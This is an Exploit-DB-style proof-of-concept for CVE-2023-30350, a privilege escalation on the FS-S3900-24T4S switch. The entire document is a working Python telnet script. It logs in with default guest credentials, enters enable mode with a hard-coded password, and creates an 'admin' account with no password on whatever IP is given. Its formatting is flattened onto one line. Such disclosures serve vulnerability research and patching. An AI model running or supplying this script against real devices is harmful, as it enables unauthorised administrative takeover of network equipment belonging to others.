FS-S3900-24T4S Privilege Escalation

# Exploit Title: FS-S3900-24T4S Privilege Escalation# Date: 29/04/2023# Exploit Author: Daniele Linguaglossa & Alberto Bruscino# Vendor Homepage: https://www.fs.com/# Software Link: not available# Version: latest# Tested on: latest# CVE : CVE-2023-30350import sysimport telnetlibdef exploit(args):    print(args)    if len(args) != 1:        print(f"Usage: {sys.argv[0]} <ip>")        sys.exit(1)    else:        ip = args[0]        try:            with telnetlib.Telnet(ip, 23) as tn:                try:                    tn.read_until(b"Username: ")                    tn.write(b"guest\r\n")                    tn.read_until(b"Password: ")                    tn.write(b"guest\r\n")                    tn.read_until(b">")                    tn.write(b"enable\r\n")                    tn.read_until(b"Password: ")                    tn.write(b"super\r\n")                    tn.read_until(b"#")                    tn.write(b"configure terminal\r\n")                    tn.read_until(b"(config)#")                    tn.write(b"username admin nopassword\r\n")                    tn.read_until(b"(config)#")                    print(                        "Exploit success, you can now login with username: admin and password: <empty>")                    tn.close()                except KeyboardInterrupt:                    print("Exploit failed")                    tn.close()        except ConnectionRefusedError:            print("Connection refused")if __name__ == "__main__":    exploit(sys.argv[1:])